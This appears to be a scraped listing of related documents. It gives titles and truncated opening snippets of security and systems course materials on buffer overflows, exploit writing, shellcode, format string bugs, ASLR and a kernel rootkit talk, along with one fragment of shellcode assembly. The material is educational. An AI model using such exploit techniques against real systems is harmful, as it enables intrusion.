On The Effectiveness of Address-Space Randomization. H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh Stanford University CCS 2004

On The Effectiveness of Address-Space Randomization. H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh Stanford University CCS 2004 On The Effectiveness of Address-Space Randomization H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh Stanford University CCS 2004 Code-Injection Attacks Inject malicious executable code

More information

Writing your first windows exploit in less than one hour

Writing your first windows exploit in less than one hour Writing your first windows exploit in less than one hour Klaus Gebeshuber klaus.gebeshuber@fh-joanneum.at http://www.fh-joanneum.at/ims AGENDA Workshop 10.00 13.00 Memory & stack basics, function calling

More information

Stack-Based Buffer Overflow Explained. Marc Koser. East Carolina University. ICTN 4040: Enterprise Information Security

Stack-Based Buffer Overflow Explained. Marc Koser. East Carolina University. ICTN 4040: Enterprise Information Security Running Head: BUFFER OVERFLOW 1 Stack-Based Buffer Overflow Explained Marc Koser East Carolina University ICTN 4040: Enterprise Information Security Instructor: Dr. Philip Lunsford 03-17-2015 Prepared

More information

Winter Compiler Construction T11 Activation records + Introduction to x86 assembly. Today. Tips for PA4. Today:

Winter Compiler Construction T11 Activation records + Introduction to x86 assembly. Today. Tips for PA4. Today: Winter 2006-2007 Compiler Construction T11 Activation records + Introduction to x86 assembly Mooly Sagiv and Roman Manevich School of Computer Science Tel-Aviv University Today ic IC Language Lexical Analysis

More information

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures)

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 Outline Announcement Recap Containment and curtailment Tamper detection Memory

More information

Midterm 1 Review. Memory Safety & Web Attacks

Midterm 1 Review. Memory Safety & Web Attacks Midterm 1 Review Memory Safety & Web Attacks What s on the midterm? Lecture material through Feb 9 Lecture notes ("Notes on..." on the course site) Section material, per "Handout w/ solutions" Concepts

More information

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e CPSC 213 Introduction to Computer Systems Unit 1e Procedures and the Stack Readings for Next 3 Lectures Textbook Procedures - 3.7 Out-of-Bounds Memory References and Buffer Overflow - 3.12 Local Variables

More information

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e CPSC 213 Introduction to Computer Systems Unit 1e Procedures and the Stack 1 Reading Companion 2.8 Textbook Procedures, Out-of-Bounds Memory References and Buffer Overflows 3.7, 3.12 2 Local Variables

More information

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University Buffer Overflow Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu x86-64/linux Memory Layout Stack Runtime stack (8MB limit) Heap Dynamically allocated

More information

Ethical Hacking: Preventing & Writing Buffer Overflow Exploits

Ethical Hacking: Preventing & Writing Buffer Overflow Exploits Ethical Hacking: Preventing & Writing Buffer Overflow Exploits Rochester Security Summit 2014 Rochester OWASP Chapter Lead Ralph Durkee - Durkee Consulting, Inc. info@rd1.net Ralph Durkee Background Founder

More information

See P&H 2.8 and 2.12, and A.5-6. Prof. Hakim Weatherspoon CS 3410, Spring 2015 Computer Science Cornell University

See P&H 2.8 and 2.12, and A.5-6. Prof. Hakim Weatherspoon CS 3410, Spring 2015 Computer Science Cornell University See P&H 2.8 and 2.12, and A.5-6 Prof. Hakim Weatherspoon CS 3410, Spring 2015 Computer Science Cornell University Upcoming agenda PA1 due yesterday PA2 available and discussed during lab section this week

More information

Procedure Call and Return Procedure call

Procedure Call and Return Procedure call Procedures int len(char *s) { for (int l=0; *s!= \0 ; s++) l++; main return l; } void reverse(char *s, char *r) { char *p, *t; int l = len(s); reverse(s,r) N/A *(r+l) = \0 ; reverse l--; for (p=s+l t=r;

More information

Topics. What is a Buffer Overflow? Buffer Overflows

Topics. What is a Buffer Overflow? Buffer Overflows Buffer Overflows CSC 482/582: Computer Security Slide #1 Topics 1. What is a Buffer Overflow? 2. The Most Common Implementation Flaw. 3. Process Memory Layout. 4. The Stack and C s Calling Convention.

More information

143A: Principles of Operating Systems. Lecture 5: Calling conventions. Anton Burtsev January, 2017

143A: Principles of Operating Systems. Lecture 5: Calling conventions. Anton Burtsev January, 2017 143A: Principles of Operating Systems Lecture 5: Calling conventions Anton Burtsev January, 2017 Stack and procedure calls Stack Main purpose: Store the return address for the current procedure Caller

More information

United States Naval Academy Electrical and Computer Engineering Department EC310-6 Week Midterm Spring AY2017

United States Naval Academy Electrical and Computer Engineering Department EC310-6 Week Midterm Spring AY2017 United States Naval Academy Electrical and Computer Engineering Department EC310-6 Week Midterm Spring AY2017 1. Do a page check: you should have 8 pages including this cover sheet. 2. You have 50 minutes

More information

1 Recommended Readings

1 Recommended Readings CSC 482/582 Assignment #5 Buffer Overflow Due: November 14, 2013 The learning objective of this assignment is for students to gain first-hand experience with a buffer overflow vulnerability, applying what

More information

CS61, Fall 2012 Midterm Review Section

CS61, Fall 2012 Midterm Review Section CS61, Fall 2012 Midterm Review Section (10/16/2012) Q1: Hexadecimal and Binary Notation - Solve the following equations and put your answers in hex, decimal and binary. Hexadecimal Decimal Binary 15 +

More information

Processes (Intro) Yannis Smaragdakis, U. Athens

Processes (Intro) Yannis Smaragdakis, U. Athens Processes (Intro) Yannis Smaragdakis, U. Athens Process: CPU Virtualization Process = Program, instantiated has memory, code, current state What kind of memory do we have? registers + address space Let's

More information

Reverse Engineering Low Level Software. CS5375 Software Reverse Engineering Dr. Jaime C. Acosta

Reverse Engineering Low Level Software. CS5375 Software Reverse Engineering Dr. Jaime C. Acosta 1 Reverse Engineering Low Level Software CS5375 Software Reverse Engineering Dr. Jaime C. Acosta Machine code 2 3 Machine code Assembly compile Machine Code disassemble 4 Machine code Assembly compile

More information

CS429: Computer Organization and Architecture

CS429: Computer Organization and Architecture CS429: Computer Organization and Architecture Warren Hunt, Jr. and Bill Young Department of Computer Sciences University of Texas at Austin Last updated: October 1, 2014 at 12:03 CS429 Slideset 6: 1 Topics

More information

Undermining the Linux Kernel: Malicious Code Injec:on via /dev/mem

Undermining the Linux Kernel: Malicious Code Injec:on via /dev/mem Undermining the Linux Kernel: Malicious Code Injec:on via /dev/mem Anthony Lineberry anthony.lineberry@gmail.com Black Hat Europe 2009 Overview What is a rootkit? Why is protec:on difficult? Current protec:on

More information

Stack Vulnerabilities. CS4379/5375 System Security Assurance Dr. Jaime C. Acosta

Stack Vulnerabilities. CS4379/5375 System Security Assurance Dr. Jaime C. Acosta 1 Stack Vulnerabilities CS4379/5375 System Security Assurance Dr. Jaime C. Acosta Part 1 2 3 An Old, yet Still Valid Vulnerability Buffer/Stack Overflow ESP Unknown Data (unused) Unknown Data (unused)

More information

Hands-on Ethical Hacking: Preventing & Writing Buffer Overflow Exploits

Hands-on Ethical Hacking: Preventing & Writing Buffer Overflow Exploits Hands-on Ethical Hacking: Preventing & Writing Buffer Overflow Exploits OWASP AppSec 2013 Rochester OWASP Chapter Lead Ralph Durkee - Durkee Consulting, Inc. info@rd1.net Hands-on Ethical Hacking: Preventing

More information

CSC 405 Computer Security Shellcode

CSC 405 Computer Security Shellcode CSC 405 Computer Security Shellcode Alexandros Kapravelos akaprav@ncsu.edu Attack plan Attack code Vulnerable code xor ebx, ebx xor eax, eax mov ebx,edi mov eax,edx sub eax,0x388 Vulnerable code xor ebx,

More information

Buffer Overflows. Buffer Overflow. Many of the following slides are based on those from

Buffer Overflows. Buffer Overflow. Many of the following slides are based on those from s Many of the following slides are based on those from 1 Complete Powerpoint Lecture Notes for Computer Systems: A Programmer's Perspective (CS:APP) Randal E. Bryant and David R. O'Hallaron http://csapp.cs.cmu.edu/public/lectures.html

More information

Why do we need Pointers? Call by Value vs. Call by Reference in detail Implementing Arrays Buffer Overflow / The Stack Hack

Why do we need Pointers? Call by Value vs. Call by Reference in detail Implementing Arrays Buffer Overflow / The Stack Hack Chapter 16 Why do we need Pointers? Call by Value vs. Call by Reference in detail Implementing Arrays Buffer Overflow / The Stack Hack A problem with parameter passing via stack Consider the following

More information

Format string vulnerabilities

Format string vulnerabilities Format string vulnerabilities Goal Take control of the program (as usual) How? Write4 (write 4 bytes to an arbitrary location) Inject shellcode (or other exploits) into the process What should we overwrite?

More information

ISA564 SECURITY LAB. Code Injection Attacks

ISA564 SECURITY LAB. Code Injection Attacks ISA564 SECURITY LAB Code Injection Attacks Outline Anatomy of Code-Injection Attacks Lab 3: Buffer Overflow Anatomy of Code-Injection Attacks Background About 60% of CERT/CC advisories deal with unauthorized

More information

CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS

CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS Laboratory for Computer Security Education 1 CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS Copyright c Wenliang Du, Syracuse University.

More information

logistics LEX assignment out exam in on week come with questions on Monday (review)

logistics LEX assignment out exam in on week come with questions on Monday (review) Stack Smashing 1 logistics 2 LEX assignment out exam in on week come with questions on Monday (review) last few times encrypted code changing code polymorphic, metamorphic anti-vm/emulation anti-debugging

More information

Do-While Example. In C++ In assembly language. do { z--; while (a == b); z = b; loop: addi $s2, $s2, -1 beq $s0, $s1, loop or $s2, $s1, $zero

Do-While Example. In C++ In assembly language. do { z--; while (a == b); z = b; loop: addi $s2, $s2, -1 beq $s0, $s1, loop or $s2, $s1, $zero Do-While Example In C++ do { z--; while (a == b); z = b; In assembly language loop: addi $s2, $s2, -1 beq $s0, $s1, loop or $s2, $s1, $zero 25 Comparisons Set on less than (slt) compares its source registers

More information

Stacks and Frames Demystified. CSCI 3753 Operating Systems Spring 2005 Prof. Rick Han

Stacks and Frames Demystified. CSCI 3753 Operating Systems Spring 2005 Prof. Rick Han s and Frames Demystified CSCI 3753 Operating Systems Spring 2005 Prof. Rick Han Announcements Homework Set #2 due Friday at 11 am - extension Program Assignment #1 due Tuesday Feb. 15 at 11 am - note extension

More information